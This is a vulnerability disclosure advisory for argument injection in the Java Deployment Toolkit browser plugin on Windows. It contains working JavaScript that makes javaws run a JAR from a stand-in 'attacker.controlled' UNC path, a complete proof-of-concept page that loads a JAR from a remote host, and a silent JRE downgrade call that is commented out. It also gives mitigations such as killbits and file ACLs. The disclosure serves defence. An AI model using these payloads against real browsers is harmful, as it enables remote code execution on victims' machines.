Java Deployment Toolkit – Performs Insufficient Validation of Parameters
Java Deployment Toolkit Performs Insufficient Validation of Parameters ------------------------------------------------------------------------- Java Web Start (henceforth, jws) provides java developers with a way to let users launch and install their applications using a URL to a Java Networking Launching Protocol (.jnlp) file (essentially some xml describing the program). Since Java 6 Update 10, Sun has distributed an NPAPI plugin and ActiveX control called "Java Deployment Toolkit" to provide developers with a simpler method of distributing their applications to end users. This toolkit is installed by default with the JRE and marked safe for scripting. The launch() method provided by the toolkit object accepts a URL string, which it passes to the registered handler for JNLP files, which by default is the javaws utility. $ cmd /c ver Microsoft Windows XP [Version 5.1.2600] $ java -version java version "1.6.0_19" Java(TM) SE Runtime Environment (build 1.6.0_19-b04) Java HotSpot(TM) Client VM (build 16.2-b04, mixed mode, sharing) $ cat /proc/registry/HKEY_LOCAL_MACHINE/SOFTWARE/Classes/JNLPFile/Shell/Open/Command/\@ "C:\Program Files\Java\jre6\bin\javaws.exe" "%1" The toolkit provides only minimal validation of the URL parameter, allowing us to pass arbitrary parameters to the javaws utility, which provides enough functionality via command line arguments to allow this error to be exploited. The simplicity with which this error can be discovered has convinced me that releasing this document is in the best interest of everyone except the vendor. -------------------- Affected Software ------------------------ All versions since Java SE 6 update 10 for Microsoft Windows are believed to be affected by this vulnerability. Disabling the java plugin is not sufficient to prevent exploitation, as the toolkit is installed independently. http://java.sun.com/javase/6/docs/technotes/guides/jweb/deployment_advice.html I believe non-Windows installations are unaffected. -------------------- Consequences ----------------------- Exploitation of this issue is not terribly exciting, but is potentially of high enough impact to merit explanation. The javaws application supports the following command line parameters. $ javaws -help Usage: javaws [run-options] <jnlp-file> javaws [control-options] where run-options include: -verbose display additional output -offline run the application in offline mode -system run the application from the system cache only -Xnosplash run without showing a splash screen -J<option> supply option to the vm -wait start java process and wait for its exit control-options include: -viewer show the cache viewer in the java control panel -uninstall remove all applications from the cache -uninstall <jnlp-file> remove the application from the cache -import [import-options] <jnlp-file> import the application to the cache import-options include: -silent import silently (with no user interface) -system import application into the system cache -codebase <url> retrieve resources from the given codebase -shortcut install shortcuts as if user allowed prompt -association install associations as if user allowed prompt Perhaps the most interesting of these is -J, and the obvious attack is simply to add -jar followed by an attacker controlled UNC path to the jvm command line, which I've demonstrated below. Other attacks are clearly possible, but this is sufficient to demonstrate the problem. In order to trigger this attack in Internet Explorer, an attacker would use a code sequence like this /* ... */ var o = document.createElement("OBJECT"); o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"; o.launch("http: -J-jar -J\\\\attacker.controlled\\exploit.jar none"); /* ... */ Or, for Mozilla Firefox /* ... */ var o = document.createElement("OBJECT"); o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit" document.body.appendChild(o); o.launch("http: -J-jar -J\\\\attacker.controlled\\exploit.jar none"); /* ... */ Please note, at some point the registered MIME type was changed to application/java-deployment-toolkit, please verify which type applies to your users when verifying any mitigation implemented has been effective (the simplest way would be to look at the output of about:plugins on a reference machine). A harmless demonstration is provided below. http://lock.cmpxchg8b.com/bb5eafbc6c6e67e11c4afc88b4e1dd22/testcase.html <html> <head><title>Java Deployment Toolkit Test Page</title></head> <body> <script> // Tavis Ormandy <taviso@sdf.lonestar.org>, April 2010 var u = "http: -J-jar -J\\\\lock.cmpxchg8b.com\\calc.jar none"; if (window.navigator.appName == "Microsoft Internet Explorer") { var o = document.createElement("OBJECT"); o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"; // Trigger the bug o.launch(u); } else { // Mozilla var o = document.createElement("OBJECT"); var n = document.createElement("OBJECT"); o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit"; n.type = "application/java-deployment-toolkit"; document.body.appendChild(o); document.body.appendChild(n); // Test both MIME types try { // Old type o.launch(u); } catch (e) { // New type n.launch(u); } } // Bonus Vulnerability, why not downgrade victim to a JRE vulnerable to // this classic exploit? // http://sunsolve.sun.com/search/document.do?assetkey=1-66-244991-1 // o.installJRE("1.4.2_18"); </script> </body> </html> ------------------- Mitigation ----------------------- If you believe your users may be affected, you should consider applying one of the workarounds described below as a matter of urgency. - Internet Explorer users can be protected by temporarily setting the killbit on CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA. To the best of my knowledge, the deployment toolkit is not in widespread usage and is unlikely to impact end users. - Mozilla Firefox and other NPAPI based browser users can be protected using File System ACLs to prevent access to npdeploytk.dll. These ACLs can also be managed via GPO. Detailed documentation on killbits is provided by Microsoft here http://support.microsoft.com/kb/240797 Domain administrators can deploy killbits and File System ACLs using GPOs, for more information on Group Policy, see Microsoft's Group Policy site, here http://technet.microsoft.com/en-us/windowsserver/bb310732.aspx You may be tempted to kill the HKLM\...\JNLPFile\Shell\Open\Command key, but the author does not believe this is sufficient, as the plugin also provides enough functionality to install and downgrade JRE installations without prompting (seriously). However, if none of your affected users are local Administrators, this solution may work (untested). As always, if you do not require this feature, consider permanently disabling it in order to reduce attack surface. ------------------- Solution ----------------------- Sun has been informed about this vulnerability, however, they informed me they do not consider this vulnerability to be of high enough priority to break their quarterly patch cycle. For various reasons, I explained that I did did not agree, and intended to publish advice to temporarily disable the affected control until a solution is available. ------------------- Credit ----------------------- This bug was discovered by Tavis Ormandy. This work is my own, and all of the opinions expressed are mine, not my employers or anybody elses (I added this for you, Dan. Thanks ;-)). ------------------- Greetz ----------------------- Greetz to Julien, Neel, Redpig, Lcamtuf, Spoonm, Skylined, asiraP, LiquidK, ScaryBeasts, Headhntr, Jagger, Sami and Roach. Some very elite friends have started a consultancy called inverse path, you should really hire them. http://www.inversepath.com/ ------------------- References ----------------------- - Deploying Java with JNLP, Sun Microsystems. http://java.sun.com/developer/technicalArticles/Programming/jnlp/ ------------------- Notes ----------------------- My advisories are intended to be consumed by a technical audience of security professionals and systems administrators who are familiar with the principal for which the mailing list you have subscribed to is named. If you do not fall into this category, you can get up to speed by reading this accessible and balanced essay on the disclosure debate by Bruce Schneier. http://www.schneier.com/crypto-gram-0111.html#1 Some of us would appreciate it if you made the effort to research and understand the issues involved before condemning us :-) |